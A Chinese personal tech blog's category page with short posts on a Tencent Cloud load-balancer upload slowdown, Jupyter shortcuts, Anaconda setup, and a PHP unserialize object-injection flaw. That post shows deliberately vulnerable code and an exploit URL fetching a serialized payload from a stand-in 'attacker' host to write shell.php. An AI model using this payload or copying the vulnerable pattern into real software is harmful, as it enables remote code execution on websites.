五维工作室

这里是你们可以实现梦想的地方

分类 技术随笔 下的文章

腾讯云负载均衡的正则表达式解析的bug 导致 上传文件特别慢

腾讯云bug上传8k文件需要12秒.png
腾讯云bug上传8k图片文件居然需要12秒,这个问题困扰了好几天

首先去服务器查流量异常
流量监控软件iftop:yum install iftop -y
iftop -i eth0 -P 可以查看端口使用的流量排名

yum install nethogs –y
nethogs 可以查看进程流量使用排名

参考命令:tcpdump -i eth0 >>/root/eth0.txt (将抓取的数据输出到1.txt文件)
注:抓取60秒即可,时间不要太长,否则抓到的文件会比较大。

通过查看异常流量端口和异常流量进程,以及tcpdump出所有流量,发现服务器流量一切正常

后来通过同一个服务器的博客程序尝试上传文件,发现很快,然后把博客程序走 腾讯云的负载均衡
最后发现走负载均衡上传文件就是很慢,去检查了 腾讯云的负载均衡解析规则
~ .+.tipsns.com$ 正则表达式匹配 改为 *.tipsns.com 通配符域名,
同时 健康检查设置为 https://www.tipsns.com/
然后设置成功之后上传速度一切正常

腾讯云负载均衡的 正则表达式 真是不能用!!!

阅读全文

php序列化函数unserialize对象注入漏洞(也成为pop链漏洞)

今天发现主站 https://www.tipsns.com 对应的官方博客
http://blog.tipsns.com 居然被别人黑了挂了木马,
最后发现了一个非常隐蔽的对象注入漏洞,这里是演示对象注入漏洞的测试程序:

class foo{
    private $file = "test.txt";
    private $data = "text";
    public function __destruct()
    {
        file_put_contents($this->file, $this->data);
    }
}

$filename = $_GET['filename'];
echo "Readfile filename<br/>" . PHP_EOL;
if(file_exists($filename)) {
    unserialize(file_get_contents($filename));
} else {
    echo 'no file<br/>' . PHP_EOL;
}

这段代码有三个漏洞触发条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

这里特别注意serialize触发__wakeup, unserialize触发__destruct 都可以在不知不觉中导致漏洞发生

比如通过:http://localhost/unserialize.php?filename=http://attacker/exp.txt
包含内容O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
然后就可以通过写入的shell.php执行任意代码

阅读全文

如何找回优酷土豆取消的分享代码功能

优酷土豆取消了分享代码功能,如何找回这些功能呢

https://www.tipsns.com/read/28.html 里面的视频

优酷分享视频如果自己写分享代码不再支持通用代码的https,只能

<embed src="https://player.youku.com/player.php/sid/XMjY1NjI0MjU5Ng/v.swf" width="510" height="498" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" align="middle">

但是貌似http的话,用通用代码还是可以的

<iframe src="http://player.youku.com/embed/XMjY1NjI0MjU5Ng==" width="640" height="498" frameborder="0" allowfullscreen=""></iframe>
阅读全文

Jupter notebook 使用和常用快捷键

%run script.py 执行 script.py, *标识正在运行

%run -d test.py 调试文件,当出现异常点击restart the kernel按钮恢复正常

up down break 最后一行打上断点,然后exit结束ipython输出最终结果,不然会报错

output=!cmd args 执行cmd 并赋值

!cmd 在系统 shell 执行 cmd

%load test.py 把代码导入到cell中

%bookmark 使用 IPython 的目录书签系统

%cd direcrory 切换工作目录

%pwd 返回当前工作目录(字符串形式)

%prun statement用cProfile行性能分析statement

%env 返回当前系统变量(以字典形式)

%reset 删除 interactive 命名空间中的全部变量

%matplotlib inline matplotlib绘图

%pdb on/off 在异常发生后自动进入调试器

%debug 从最新的异常跟踪的底部进入交互式调试器

%quickref 显示 IPython 快速参考

%magic 显示所有魔术命令的详细文档

%time statement测试statement的执行时间

%timeit statement 多次statement执行时间的平均值

%who、%who_ls、%whos 显示 interactive 命名空间中定义的变量,信息级别/冗余度可变

%xdel variable 删除 variable,并尝试清除其在 IPython 中的对象上的一切引用

alt enter 不管有没有cell都会新建,序号在前的cell定义的变量对序号靠后的cell有效

执行当前cell跳到下一cell:Shift Enter

执行当前cell不跳转:Ctrl-Enter

是当前的cell进入编辑模式:Enter

退出当前cell的编辑模式:Esc

删除当前的cell:双D

当前cell加入line number:单L

快速跳转到首个cell:Crtl Home

快速跳转到最后一个cell:Crtl End

选中内容添加/取消注释:Crtl /

撤销对某个cell的删除:z

浏览器Tab之间切换:Crtl PgUp和Crtl PgDn

当前的cell转化为具有N级别标题的maskdown:单N(1<=N<=3)比如单按1

阅读全文

window python vscode 环境 Anaconda tensorflow 安装配置

注1.The TensorFlow library wasn't compiled to use SSE4.1 instructions, but these are available.

import os
os.environ['TF_CPP_MIN_LOG_LEVEL']='2' # 只显示 warning 和 Error

安装Anaconda3-4.2.0-Windows-x86_64.exe这个版本
repo.continuum.io/archive/

Anaconda vscode 环境配置
文件-》首选项-》键盘快捷方式-》把智能提示ctrl+space改为ctrl+shift+space
加入以下提示智能提示会快一些

{
    "editor.snippetSuggestions": "top",
    "python.pythonPath": "D:/Program Files/Anaconda3/python.exe"
}

vscode 安装了python debug就可以调试:
command 'python.python-debug.startSession' not found
卸载掉python调试插件重装解决,同时"program": "${file}","stopOnEntry": false,

conda list(包含了numpy,matplotlib,scipy)
conda install tensorflow (python 3.5 直接可以安装)
anaconda search -t conda tensorflow然后anaconda show conda-forge/tensorflow
conda list | grep tensorflow

阅读全文